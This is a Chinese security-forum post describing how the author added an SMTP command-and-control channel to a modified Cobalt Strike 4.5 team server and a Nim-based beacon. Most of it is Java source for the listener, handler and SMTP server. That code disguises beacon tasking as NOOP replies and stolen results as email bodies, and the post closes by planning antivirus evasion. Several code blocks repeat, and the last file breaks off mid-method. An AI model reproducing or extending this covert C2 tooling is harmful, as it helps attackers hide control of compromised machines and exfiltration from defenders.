首页
社区
课程
招聘
[原创]为 CobaltStrike 增加 SMTP Beacon
发表于: 4天前 331

[原创]为 CobaltStrike 增加 SMTP Beacon

4天前
331

书接上回(使用 Nim 实现 CobaltStrike Beacon),在使用 Nim Beacon(GitHub - L4zyD0g/NimBeacon: A Cobalt Strike beacon implemented in Nim.) 实现了一些简单功能之后又有了新的想法,之前看到过 Tesla 是使用 SMTP 实现窃取数据的,那是不是可以使用 SMTP 作为 C2 信道呢?于是就有了以下的工作。
Server 和 Client 端是 CobaltStrike 4.5,Beacon 端是 NimBeacon,二开相关环境等问题可以参考上一篇。

经过改动后,Client 端支持显示和新建 SMTP Listener


Server 端也启动 SMTP Listener

Beacon 配置为 SMTP 协议,启动后向 Server Checkin



Client 发送命令,执行并得到结果

一个典型的 SMTP 协议通信过程如下,> 标记客户端发出的消息, < 标记服务端的返回,未包含启用 TLS 的部分和认证部分

根据 RFC 5321,一个完整的邮件事务由以下命令序列组成:

一个 TCP 连接上可以发送多个邮件事务,都需要包含以上命令序列。一个邮件事务中 RCPT TO 可以多次使用来指定多个收件人,收件人的数量在 SMTP 中没有限制,但是实际的服务器通常限制在 100-1000 个。
服务端返回报文包含代码和消息,只有代码部分有控制作用,消息部分仅有提示作用。返回报文最大长度为 1000 个 ASCII 字符(包含最后的 CRLF)。
若服务端需要返回多行文本,前 n-1 行的代码和消息中间需要包含连字符,最后一行格式与单行报文相同:

多行响应通常为 EHLO 的响应,此外 VRFY 和 HELP 也会有多行响应。 多行响应通常行数不超过 20 行,但协议未作出明确限制。

通信分为三个场景:Checkin、拉取任务和回传结果。其中 Checkin 和回传结果是上行通信,拉取任务是下行通信。为了简单起见,每个完整的通信流程都使用一个邮件事务。
SMTP 的上行通信比较容易,DATA 命令可以传递大量数据;下行相对麻烦,需要通过 SMTP 的 Message 部分进行传递。而 Code+Message 最大为 1000 字节,对于很多情况(例如 DLL 注入)是不足的。
因此下行需要能返回多行响应或者能多次执行的命令(如果不是非要在单个邮件事务中完成通信,就不需要这一点)。常见返回多行响应的命令有 EHLO、VRFY 和 HELP,但这些命令的返回内容都恨固定,不太适合。因此选择可以多次执行的命令,包括 RCPT TO、RSET、NOOP、VRFY、EXPN、HELP。根据 SMTP 的语义,这里面 NOOP 相对更加合适,多次执行也比较正常。
最终通信协议如下:

里面的 ClientID,ServerData 和 ClientData 是数据部分,其余的都应该由 C2Profile 定义。ServerData 和 ClientData 在发送时都进行 Hex 编码。

首先是 CS Server 如何启动一个 Listner。
在启动时,CS Server 会进行一些初始化。server.TeamServer

这里可以看到很多的 register 调用,比如 Listener 里面的调用 server.Listeners

可以看到这些 register 只是简单把一些字符串的 value 设置成了本身的值,这也符合 register 的概念。这些字符串和对应的类放到了 this.calls 中,而使用 this.calls 这个 Map 的是 this.resources。
接下来看下 Resources 类用这个 Map 做了什么 server.Resources

Resources 类的构造函数中直接用这个 Map 初始化了 ServerBus 和 Archiver。Archiver 进去简单看了下,是持久化数据用的,暂时不关注。看下 ServerBus server.ServerBus

构造函数里直接赋值了下,然后用新线程执行了 run 函数。run 的前面是一个检测 javaagent 命令行的暗桩。

接下来就是不断从队列中取请求,取到之后调用当时 register 时注册的对应的类的 call 函数。例如上面 Listener 注册过后, listener.create 请求就会由 Listener.call 函数处理。server.Listeners

先看处理 listeners.create 的部分,可以看到经过了一些处理之后直接调用了 beacons.start,这个是 Beacons 注册的,接下来看一下 Beacons 的 call 方法。server.Beacons

可以看到这里面 this.setup.start 来启动 Beacon,然后输出启动结果并在设置 listners.set_status。接下来应该关注启动的具体流程,也就是 this.setup.start。beacon.BeaconSetup

这里针对不同 Payload 类型会初始化和 start 不同的 BeaconSetupC2,如果我们希望增加一个 Payload 的类型就需要修改这里并响应增加 BeaconSetupXXXX。
我们以 BeaconSetupDNS 为例跟进一下启动的过程 beacon.c2setup.BeaconSetupDNS

可以看到这里面在对应端口上启动了一个 DNSServer,然后使用 BeaconDNS 作为 Handler 进行处理,即主要逻辑都在 BeaconDNS 中。beacon.BeaconDNS

可以看到初始化过程就是从 C2Profile 中取得了一些内容初始化不同的域名前缀,conversations 应该是用来串联多个请求的,因为 DNS 单次请求传输的数据量比较小,很多时候不能一次传完。
BeaconDNS 实现了 DNSServer.Handler 接口,这个接口只有一个方法 respond,BeaconDNS 核心的处理逻辑就在 respond 中

respond 简单调用了 respond_nosync,这个函数分支很多,看起来比较麻烦,而且和 DNS Beacon 的通信协议直接相关,对于我们实现新的协议来说帮助不大。我们主要关心的是 DNS Beacon 收到 DNS 请求并组装好数据后如何处理。
BeaconDNS 类初始化时传入了三个参数,ScListener、Profile 和 BeaconC2,这里面的 ScListener 主要是一些创建时的参数和生成 Payload 相关的内容,Profile 也就是 C2Profile 提供配置,那么就是 BeaconC2 起到了控制作用。BeaconC2 也就是 this.controller 在 BeaconDNS 里面有 7 个方法调用,就不一一去看了,简单说一下这些成员函数的作用:

修改思路前面已经说完了,这里展示一些修改后代码的关键部分(没有放到 github,对于 CS Server 的修改可能涉及 DMCA)。完整的 diff(包括 Server 和 Client 的改动)放到附录中,有需要可以参考。

根据前面所说,首先需要在 BeaconSetup.start() 中增加新的 SMTP 类型的 Beacon。beacon.BeaconSetup

基本和 BeaconSetupDNS 一样,设置参数、Server 和 Handler。beacon.BeaconSetupSMTP

然后是具体实现这个 BeaconSMTP,实现分为 Server 部分(不参与 Beacon 相关的逻辑,仅处理请求等)和 handler 部分(处理和 Beacon 相关的逻辑),这里只看下 Handler 部分,对 Server 部分感兴趣可以看附录的 diff。
这部分处理了 SMTP 中每个状态中要做的对应操作,主要的有三个状态:

有一些偷懒的地方:

Client 改进相对简单(完全不懂 Swing 的,照着其他的 Beacon 随便改改就成功了)
在几个校验和 Map/Dialog 转换的地方加上 reverse_smtp。common.ListenerUtils



在几个可以显示的地方增加 SMTP 的项目。aggressor.dialogs.ScListenerDialog

Beacon 就比较简单了,前面解耦做的还比较好,可以直接在 protocol 里面新增一个 SMTP,具体直接看项目吧。
NimBeacon/transport/smtp.nim at main · L4zyD0g/NimBeacon · GitHub
SMTP 协议相关的内容在 transport/smtp.nim。

经过以上改动后,现在可以使用 SMTP 作为 CobaltStrike 的 C2 信道。另外还有一些改进的余地,比如效果应该比较好的是使用 TLS,还可以细致修改下上面的这些配置,让通信过程更接近真实的 SMTP 通信。
下一步的计划是为 NimBeacon 增加一些免杀特性,和实现一个利用合法云服务来进行 C2 通信的功能,如果喜欢的话就点个 Star 吧。
GitHub - L4zyD0g/NimBeacon: A Cobalt Strike beacon implemented in Nim.

src/beacon/BeaconSMTP

src/beacon/c2setup/BeaconSetupSMTP

src/smtp/Command

src/smtp/DefaultHandler

src/smtp/Handler

src/smtp/Response

src/smtp/Session

src/smtp/SMTPConnection

src/smtp/SMTPServer

< 220 smtp.example.com ESMTP Ready
> EHLO client.example.com
< 250 OK
> MAIL FROM:<sender@example.com>
< 250 OK
> RCPT TO:<recipient@target.com>
< 250 OK
> DATA
< 354 Start mail input; end with <CRLF>.<CRLF>
> Subject: Test Email
> From: Sender <sender@example.com>
> To: Recipient <recipient@target.com>
>
> This is the email body.
> .
< 250 OK, message accepted
> QUIT
< 221 smtp.example.com closing connection
< 220 smtp.example.com ESMTP Ready
> EHLO client.example.com
< 250 OK
> MAIL FROM:<sender@example.com>
< 250 OK
> RCPT TO:<recipient@target.com>
< 250 OK
> DATA
< 354 Start mail input; end with <CRLF>.<CRLF>
> Subject: Test Email
> From: Sender <sender@example.com>
> To: Recipient <recipient@target.com>
>
> This is the email body.
> .
< 250 OK, message accepted
> QUIT
< 221 smtp.example.com closing connection
MAIL FROM:<发件人> → RCPT TO:<收件人1> → RCPT TO:<收件人2>... → DATA → 邮件内容 → 结束符(.)
MAIL FROM:<发件人> → RCPT TO:<收件人1> → RCPT TO:<收件人2>... → DATA → 邮件内容 → 结束符(.)
<code>-<message>
<code>-<message>
...
<code>-<message>
<code> <message>
<code>-<message>
<code>-<message>
...
<code>-<message>
<code> <message>
220 localhost SMTP Server Ready
HELO {ClientName}
250 OK
MAIL FROM: <{ClientID}@{FromBaseDomain}>
250 OK
RCPT TO: <{ToUser}@{ToBaseDomain}>
250 OK
NOOP
250 OK {NoopPrefix}{ServerData}{NoopSuffix}
NOOP
250 OK {NoopPrefix}{ServerData}{NoopSuffix}
... // 多个 NOOP 直到发送完毕
NOOP
250 OK {NoopPrefix}{TaskData}{NoopSuffix}
DATA
354 Start mail input; end with <CRLF>.<CRLF>
Subject: {Subject}
 
{CallbackPrefix/MetadataPrefix}{ClientData}{BodySuffix}
.
250 OK
QUIT
221 smtp.{ServerBaseDomain} closing connection
220 localhost SMTP Server Ready
HELO {ClientName}
250 OK
MAIL FROM: <{ClientID}@{FromBaseDomain}>
250 OK
RCPT TO: <{ToUser}@{ToBaseDomain}>
250 OK
NOOP
250 OK {NoopPrefix}{ServerData}{NoopSuffix}
NOOP
250 OK {NoopPrefix}{ServerData}{NoopSuffix}
... // 多个 NOOP 直到发送完毕
NOOP
250 OK {NoopPrefix}{TaskData}{NoopSuffix}
DATA
354 Start mail input; end with <CRLF>.<CRLF>
Subject: {Subject}
 
{CallbackPrefix/MetadataPrefix}{ClientData}{BodySuffix}
.
250 OK
QUIT
221 smtp.{ServerBaseDomain} closing connection
package beacon; 
   
import c2profile.Profile; 
import common.CommonUtils; 
import common.MudgeSanity; 
import common.Packer; 
import common.ScListener; 
import smtp.*
   
import java.util.Arrays; 
import java.util.regex.Matcher; 
import java.util.regex.Pattern; 
   
public class BeaconSMTP implements Handler { 
    private final String ServerBaseDomain = "server.test.local"
    private final String ClientBaseDomain = "client.test.local"
    private final String DataPrefix = ""; 
    private final String MetadataPrefix = "The following messages are encrypted with AES:"
    private final String CallbackPrefix = "The following messages are encrypted with RSA:"
    private final String BodySuffix = ""; 
    private final String NoopPrefix = "Trace: "
    private final String NoopSuffix = ""; 
    private final String NoopEmptyResponse = ""; 
    private final int SingleOutputLength = 256
   
    protected ScListener listener; 
    protected Profile c2profile; 
    protected BeaconC2 controller; 
    protected Response idlemsg; 
   
    public BeaconSMTP(ScListener listner, Profile profile, BeaconC2 controller) { 
        this.listener = listner; 
        this.c2profile = profile; 
        this.controller = controller; 
        // todo 
        this.idlemsg = null; 
    
   
    public Response respond(Command command, Session session) { 
        synchronized(this) { 
            Response response; 
            try
                response = this.respond_nosync(command, session); 
            } catch (Exception e) { 
                MudgeSanity.logException("SMTP request '" + command + "' session(" + session + ")", e, false); 
                return this.idlemsg; 
            
            return response; 
        
    
   
    public Response respond_nosync(Command command, Session session) { 
        switch (session.getState()) { 
            case CONNECT: 
                if (command.getVerb().equals("EHLO") || command.getVerb().equals("HELO")) { 
                    return new Response(250, "Hello"); 
                
                return new Response(503, "Error: send HELO or EHLO first"); 
   
            case GREETED: 
                if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    String client = command.getArgs().toUpperCase(); 
                    String clientId = ""; 
                    // client = "FROM:<{ClientID}@{BaseDomain}>" 
                    Pattern pattern = Pattern.compile("<([^@]+)@[^>]+>"); 
                    Matcher matcher = pattern.matcher(client); 
                    if (matcher.find()) { 
                        clientId = matcher.group(1); 
                    } else
                        CommonUtils.print_info("Failed to extract client id: " + client); 
                        return new Response(503, "Error: need MAIL command"); 
                    
                    session.setClientId(clientId); 
                    CommonUtils.print_info("Get smtp helo from client id: " + clientId); 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need MAIL command"); 
   
            case MAIL_FROM: 
                if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need RCPT command"); 
   
            case RCPT_TO: 
                if (command.getVerb().equals("NOOP")) { 
                    if (!session.outputAlreadySet) { 
                        // 60e03dee -> 1625308654 
                        String clientIdNumber = CommonUtils.toNumberFromHex(session.getClientId(), 0) + ""; 
                        byte[] taskBytes = this.controller.dump(clientIdNumber, 72000, 1048576); 
                        if (taskBytes.length == 0) { 
                            return new Response(250, NoopEmptyResponse); 
                        
   
                        CommonUtils.print_info("Get task bytes: " + Arrays.toString(taskBytes)); 
                        byte[] taskBytesEncrypted = this.controller.getSymmetricCrypto().encrypt(clientIdNumber, taskBytes); 
                        CommonUtils.print_info("Encrypted task bytes: " + Arrays.toString(taskBytesEncrypted)); 
                        session.setOutput(taskBytesEncrypted); 
                    
                    byte[] resp = session.getOutput(SingleOutputLength); 
                    if (resp.length != 0) { 
                        CommonUtils.print_info("Send encrypted task bytes: " + Arrays.toString(resp)); 
                        return new Response(250, NoopPrefix + CommonUtils.toHex(resp) + NoopSuffix); 
                    } else
                        return new Response(250, NoopEmptyResponse); 
                    
                } else if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    return new Response(250, "OK"); 
                } else if (command.getVerb().equals("DATA")) { 
                    return new Response(354, "Start mail input; end with <CRLF>.<CRLF>"); 
                } else if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need RCPT or DATA command"); 
   
            case DATA: 
                if (command.getVerb().equals(".")) { 
                    String data = session.getData(); 
                    String clientId = session.getClientId(); 
                    CommonUtils.print_info("Get all data from clientID: " + clientId + ", data: " + data); 
                    String prefix = ""; 
                    if (data.startsWith(MetadataPrefix)) { 
                        prefix = MetadataPrefix; 
                    } else if (data.startsWith(CallbackPrefix)) { 
                        prefix = CallbackPrefix; 
                    
   
                    if (!prefix.equals("")) { 
                        data = data.substring(prefix.length()); 
                        data = data.substring(0, data.length() - BodySuffix.length()); 
                        Packer packer = new Packer(); 
                        packer.addHex(data); 
                        byte[] decoded = packer.getBytes(); 
                        if (prefix.equals(MetadataPrefix)) { 
                            CommonUtils.print_info("Process smtp metadata"); 
                            this.controller.process_beacon_metadata(this.listener, "", decoded); 
                        } else if (prefix.equals(CallbackPrefix)) { 
                            CommonUtils.print_info("Process smtp callback"); 
                            String clientIdNumber = CommonUtils.toNumberFromHex(session.getClientId(), 0) + ""; 
                            this.controller.process_beacon_callback(clientIdNumber, decoded); 
                        
                    
                    return new Response(250, "OK: message queued"); 
                } else
                    session.appendData(command.getArgs()); 
                    CommonUtils.print_info("Append smtp data: " + command.getArgs()); 
                
                // 数据行,继续接收 
                return new Response(0, ""); 
   
            default: 
                return new Response(500, "Internal server error"); 
        
    
}
package beacon; 
   
import c2profile.Profile; 
import common.CommonUtils; 
import common.MudgeSanity; 
import common.Packer; 
import common.ScListener; 
import smtp.*
   
import java.util.Arrays; 
import java.util.regex.Matcher; 
import java.util.regex.Pattern; 
   
public class BeaconSMTP implements Handler { 
    private final String ServerBaseDomain = "server.test.local"
    private final String ClientBaseDomain = "client.test.local"
    private final String DataPrefix = ""; 
    private final String MetadataPrefix = "The following messages are encrypted with AES:"
    private final String CallbackPrefix = "The following messages are encrypted with RSA:"
    private final String BodySuffix = ""; 
    private final String NoopPrefix = "Trace: "
    private final String NoopSuffix = ""; 
    private final String NoopEmptyResponse = ""; 
    private final int SingleOutputLength = 256
   
    protected ScListener listener; 
    protected Profile c2profile; 
    protected BeaconC2 controller; 
    protected Response idlemsg; 
   
    public BeaconSMTP(ScListener listner, Profile profile, BeaconC2 controller) { 
        this.listener = listner; 
        this.c2profile = profile; 
        this.controller = controller; 
        // todo 
        this.idlemsg = null; 
    
   
    public Response respond(Command command, Session session) { 
        synchronized(this) { 
            Response response; 
            try
                response = this.respond_nosync(command, session); 
            } catch (Exception e) { 
                MudgeSanity.logException("SMTP request '" + command + "' session(" + session + ")", e, false); 
                return this.idlemsg; 
            
            return response; 
        
    
   
    public Response respond_nosync(Command command, Session session) { 
        switch (session.getState()) { 
            case CONNECT: 
                if (command.getVerb().equals("EHLO") || command.getVerb().equals("HELO")) { 
                    return new Response(250, "Hello"); 
                
                return new Response(503, "Error: send HELO or EHLO first"); 
   
            case GREETED: 
                if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    String client = command.getArgs().toUpperCase(); 
                    String clientId = ""; 
                    // client = "FROM:<{ClientID}@{BaseDomain}>" 
                    Pattern pattern = Pattern.compile("<([^@]+)@[^>]+>"); 
                    Matcher matcher = pattern.matcher(client); 
                    if (matcher.find()) { 
                        clientId = matcher.group(1); 
                    } else
                        CommonUtils.print_info("Failed to extract client id: " + client); 
                        return new Response(503, "Error: need MAIL command"); 
                    
                    session.setClientId(clientId); 
                    CommonUtils.print_info("Get smtp helo from client id: " + clientId); 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need MAIL command"); 
   
            case MAIL_FROM: 
                if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need RCPT command"); 
   
            case RCPT_TO: 
                if (command.getVerb().equals("NOOP")) { 
                    if (!session.outputAlreadySet) { 
                        // 60e03dee -> 1625308654 
                        String clientIdNumber = CommonUtils.toNumberFromHex(session.getClientId(), 0) + ""; 
                        byte[] taskBytes = this.controller.dump(clientIdNumber, 72000, 1048576); 
                        if (taskBytes.length == 0) { 
                            return new Response(250, NoopEmptyResponse); 
                        
   
                        CommonUtils.print_info("Get task bytes: " + Arrays.toString(taskBytes)); 
                        byte[] taskBytesEncrypted = this.controller.getSymmetricCrypto().encrypt(clientIdNumber, taskBytes); 
                        CommonUtils.print_info("Encrypted task bytes: " + Arrays.toString(taskBytesEncrypted)); 
                        session.setOutput(taskBytesEncrypted); 
                    
                    byte[] resp = session.getOutput(SingleOutputLength); 
                    if (resp.length != 0) { 
                        CommonUtils.print_info("Send encrypted task bytes: " + Arrays.toString(resp)); 
                        return new Response(250, NoopPrefix + CommonUtils.toHex(resp) + NoopSuffix); 
                    } else
                        return new Response(250, NoopEmptyResponse); 
                    
                } else if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    return new Response(250, "OK"); 
                } else if (command.getVerb().equals("DATA")) { 
                    return new Response(354, "Start mail input; end with <CRLF>.<CRLF>"); 
                } else if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need RCPT or DATA command"); 
   
            case DATA: 
                if (command.getVerb().equals(".")) { 
                    String data = session.getData(); 
                    String clientId = session.getClientId(); 
                    CommonUtils.print_info("Get all data from clientID: " + clientId + ", data: " + data); 
                    String prefix = ""; 
                    if (data.startsWith(MetadataPrefix)) { 
                        prefix = MetadataPrefix; 
                    } else if (data.startsWith(CallbackPrefix)) { 
                        prefix = CallbackPrefix; 
                    
   
                    if (!prefix.equals("")) { 
                        data = data.substring(prefix.length()); 
                        data = data.substring(0, data.length() - BodySuffix.length()); 
                        Packer packer = new Packer(); 
                        packer.addHex(data); 
                        byte[] decoded = packer.getBytes(); 
                        if (prefix.equals(MetadataPrefix)) { 
                            CommonUtils.print_info("Process smtp metadata"); 
                            this.controller.process_beacon_metadata(this.listener, "", decoded); 
                        } else if (prefix.equals(CallbackPrefix)) { 
                            CommonUtils.print_info("Process smtp callback"); 
                            String clientIdNumber = CommonUtils.toNumberFromHex(session.getClientId(), 0) + ""; 
                            this.controller.process_beacon_callback(clientIdNumber, decoded); 
                        
                    
                    return new Response(250, "OK: message queued"); 
                } else
                    session.appendData(command.getArgs()); 
                    CommonUtils.print_info("Append smtp data: " + command.getArgs()); 
                
                // 数据行,继续接收 
                return new Response(0, ""); 
   
            default: 
                return new Response(500, "Internal server error"); 
        
    
}
package beacon.c2setup; 
   
import beacon.BeaconC2; 
import beacon.BeaconSMTP; 
import common.ScListener; 
import server.Resources; 
import smtp.SMTPServer; 
   
public class BeaconSetupSMTP extends BeaconSetupC2 { 
    protected int port = 0
    protected BeaconSMTP handler = null; 
    protected SMTPServer server; 
   
    public BeaconSetupSMTP(Resources var1, ScListener var2, BeaconC2 var3) { 
        super(var1, var2, var3); 
        this.port = var2.getBindPort(); 
    
   
    public void start() throws Exception { 
        this.handler = new BeaconSMTP(this.getListener(), this.getProfile(), this.getController()); 
        // stager not implemented 
        // c2profile not implemented        this.server = new SMTPServer(this.port); 
        this.server.installHandler(this.handler); 
        this.server.go(); 
    
   
    public void stop() { 
        this.server.stop(); 
    
}
package beacon.c2setup; 
   
import beacon.BeaconC2; 
import beacon.BeaconSMTP; 
import common.ScListener; 
import server.Resources; 
import smtp.SMTPServer; 
   
public class BeaconSetupSMTP extends BeaconSetupC2 { 
    protected int port = 0
    protected BeaconSMTP handler = null; 
    protected SMTPServer server; 
   
    public BeaconSetupSMTP(Resources var1, ScListener var2, BeaconC2 var3) { 
        super(var1, var2, var3); 
        this.port = var2.getBindPort(); 
    
   
    public void start() throws Exception { 
        this.handler = new BeaconSMTP(this.getListener(), this.getProfile(), this.getController()); 
        // stager not implemented 
        // c2profile not implemented        this.server = new SMTPServer(this.port); 
        this.server.installHandler(this.handler); 
        this.server.go(); 
    
   
    public void stop() { 
        this.server.stop(); 
    
}
package smtp; 
   
public class Command { 
    private final String verb; 
    private final String args; 
   
    public Command(String verb, String args) { 
        this.verb = verb; 
        this.args = args; 
    
   
    public String getVerb() { 
        return verb; 
    
   
    public String getArgs() { 
        return args; 
    
   
    @Override 
    public String toString() { 
        return verb + (args.isEmpty() ? "" : " " + args); 
    
}
package smtp; 
   
public class Command { 
    private final String verb; 
    private final String args; 
   
    public Command(String verb, String args) { 
        this.verb = verb; 
        this.args = args; 
    
   
    public String getVerb() { 
        return verb; 
    
   
    public String getArgs() { 
        return args; 
    
   
    @Override 
    public String toString() { 
        return verb + (args.isEmpty() ? "" : " " + args); 
    
}
package smtp; 
   
public class DefaultHandler implements Handler { 
    @Override 
    public Response respond(Command command, Session session) { 
        switch (session.getState()) { 
            case CONNECT: 
                if (command.getVerb().equals("EHLO") || command.getVerb().equals("HELO")) { 
                    return new Response(250, "localhost Hello " + 
                            (command.getArgs().isEmpty() ? "client" : command.getArgs())); 
                
                return new Response(503, "Error: send HELO or EHLO first"); 
   
            case GREETED: 
                if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need MAIL command"); 
   
            case MAIL_FROM: 
                if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need RCPT command"); 
   
            case RCPT_TO: 
                if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    return new Response(250, "OK"); 
                } else if (command.getVerb().equals("DATA")) { 
                    return new Response(354, "Start mail input; end with <CRLF>.<CRLF>"); 
                } else if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need RCPT or DATA command"); 
   
            case DATA: 
                if (command.getVerb().equals("ENDDATA")) { 
                    return new Response(250, "OK: message queued"); 
                
                // 数据行,继续接收 
                return new Response(0, ""); 
   
            default: 
                return new Response(500, "Internal server error"); 
        
    
}
package smtp; 
   
public class DefaultHandler implements Handler { 
    @Override 
    public Response respond(Command command, Session session) { 
        switch (session.getState()) { 
            case CONNECT: 
                if (command.getVerb().equals("EHLO") || command.getVerb().equals("HELO")) { 
                    return new Response(250, "localhost Hello " + 
                            (command.getArgs().isEmpty() ? "client" : command.getArgs())); 
                
                return new Response(503, "Error: send HELO or EHLO first"); 
   
            case GREETED: 
                if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need MAIL command"); 
   
            case MAIL_FROM: 
                if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need RCPT command"); 
   
            case RCPT_TO: 
                if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    return new Response(250, "OK"); 
                } else if (command.getVerb().equals("DATA")) { 
                    return new Response(354, "Start mail input; end with <CRLF>.<CRLF>"); 
                } else if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    return new Response(250, "OK"); 
                
                return new Response(503, "Error: need RCPT or DATA command"); 
   
            case DATA: 
                if (command.getVerb().equals("ENDDATA")) { 
                    return new Response(250, "OK: message queued"); 
                
                // 数据行,继续接收 
                return new Response(0, ""); 
   
            default: 
                return new Response(500, "Internal server error"); 
        
    
}
package smtp; 
   
public interface Handler { 
    Response respond(Command command, Session session); 
}
package smtp; 
   
public interface Handler { 
    Response respond(Command command, Session session); 
}
package smtp; 
   
public class Response { 
    private final int code; 
    private final String message; 
   
    public Response(int code, String message) { 
        this.code = code; 
        this.message = message; 
    
   
    public int getCode() { 
        return code; 
    
   
    public String getMessage() { 
        return message; 
    
   
    @Override 
    public String toString() { 
        if (code == 0) { 
            return ""; 
        
        return code + " " + message; 
    
}
package smtp; 
   
public class Response { 
    private final int code; 
    private final String message; 
   
    public Response(int code, String message) { 
        this.code = code; 
        this.message = message; 
    
   
    public int getCode() { 
        return code; 
    
   
    public String getMessage() { 
        return message; 
    
   
    @Override 
    public String toString() { 
        if (code == 0) { 
            return ""; 
        
        return code + " " + message; 
    
}
package smtp; 
   
import java.io.ByteArrayInputStream; 
import java.io.IOException; 
import java.io.StringReader; 
import java.nio.CharBuffer; 
import java.util.ArrayList; 
import java.util.Arrays; 
import java.util.List
   
public class Session { 
    private State state; 
    private String mailFrom; 
    private String clientId; 
    private final List<String> recipients; 
    private StringBuilder data; 
    private ByteArrayInputStream outputReader = null; 
    public boolean outputAlreadySet = false; 
   
    public Session() { 
        this.state = State.CONNECT; 
        this.recipients = new ArrayList<>(); 
        this.data = new StringBuilder(); 
    
   
    public State getState() { 
        return state; 
    
   
    public String getMailFrom() { 
        return mailFrom; 
    
   
    public List<String> getRecipients() { 
        return recipients; 
    
   
    public String getClientId() { 
        return clientId; 
    
   
    public void setClientId(String clientId) { 
        this.clientId = clientId; 
    
   
    public void appendData(String str) { 
        this.data.append(str); 
    
   
    public String getData() { 
        return data.toString(); 
    
   
    public void setOutput(byte[] bytes) { 
        this.outputReader = new ByteArrayInputStream(bytes); 
        this.outputAlreadySet = true; 
    
   
    public byte[] getOutput(int max) { 
        byte[] buffer = new byte[max]; 
        int len = 0
        try
            len = this.outputReader.read(buffer); 
        } catch (IOException e) { 
            return new byte[0]; 
        
        if (len < 0) { 
            return new byte[0]; 
        
        return Arrays.copyOf(buffer, len); 
    
   
    public void updateState(Command command, Response response) { 
        if (response.getCode() >= 400) { 
            // 错误响应不改变状态 
            return
        
   
        switch (state) { 
            case CONNECT: 
                if (command.getVerb().equals("EHLO") || command.getVerb().equals("HELO")) { 
                    state = State.GREETED; 
                
                break
            case GREETED: 
                if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    mailFrom = extractAddress(command.getArgs()); 
                    recipients.clear(); 
                    data.setLength(0); 
                    state = State.MAIL_FROM; 
                
                break
            case MAIL_FROM: 
                if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    recipients.add(extractAddress(command.getArgs())); 
                    state = State.RCPT_TO; 
                
                break
            case RCPT_TO: 
                if (command.getVerb().equals("RCPT") && command.getArgs().toUpperCase().startsWith("TO:")) { 
                    recipients.add(extractAddress(command.getArgs())); 
                } else if (command.getVerb().equals("DATA")) { 
                    state = State.DATA; 
                } else if (command.getVerb().equals("MAIL") && command.getArgs().toUpperCase().startsWith("FROM:")) { 
                    mailFrom = extractAddress(command.getArgs()); 
                    recipients.clear(); 
                    data.setLength(0); 
                    state = State.MAIL_FROM; 
                
                break
            case DATA: 
                if (command.getVerb().equals("ENDDATA")) { 
                    state = State.GREETED; 
                
                break
        
    
   
    private String extractAddress(String arg) { 
        int start = arg.indexOf('<'); 
        int end = arg.indexOf('>'); 
        if (start >= 0 && end > start) { 
            return arg.substring(start + 1, end); 
        
        return arg; // 简单处理,实际应使用更复杂的解析 
    
   
    public enum State { 
        CONNECT, GREETED, MAIL_FROM, RCPT_TO, DATA 
    
}
package smtp; 
   
import java.io.ByteArrayInputStream; 
import java.io.IOException; 
import java.io.StringReader; 
import java.nio.CharBuffer; 
import java.util.ArrayList; 
import java.util.Arrays; 
import java.util.List
   
public class Session { 
    private State state; 
    private String mailFrom; 
    private String clientId; 
    private final List<String> recipients; 
    private StringBuilder data; 
    private ByteArrayInputStream outputReader = null; 
    public boolean outputAlreadySet = false; 
   
    public Session() { 
        this.state = State.CONNECT; 
        this.recipients = new ArrayList<>(); 
        this.data = new StringBuilder(); 
    
   
    public State getState() { 
        return state; 
    
   
    public String getMailFrom() { 
        return mailFrom; 
    
   
    public List<String> getRecipients() { 
        return recipients; 
    
   
    public String getClientId() { 
        return clientId; 
    
   
    public void setClientId(String clientId) { 
        this.clientId = clientId; 
    
   
    public void appendData(String str) { 
        this.data.append(str); 
    
   
    public String getData() { 
        return data.toString(); 
    
   
    public void setOutput(byte[] bytes) { 
        this.outputReader = new ByteArrayInputStream(bytes); 
        this.outputAlreadySet = true; 
    
   
    public byte[] getOutput(int max) { 
        byte[] buffer = new byte[max]; 
        int len = 0
        try
            len = this.outputReader.read(buffer); 
        } catch (IOException e) { 
            return new byte[0]; 
        
        if (len < 0) { 
            return new byte[0]; 
        
        return Arrays.copyOf(buffer, len); 
    
   
    public void updateState(Command command, Response response) { 
        if (response.getCode() >= 400) { 
            // 错误响应不改变状态 
            return
        
   
        switch (state) { 
            case CONNECT: 
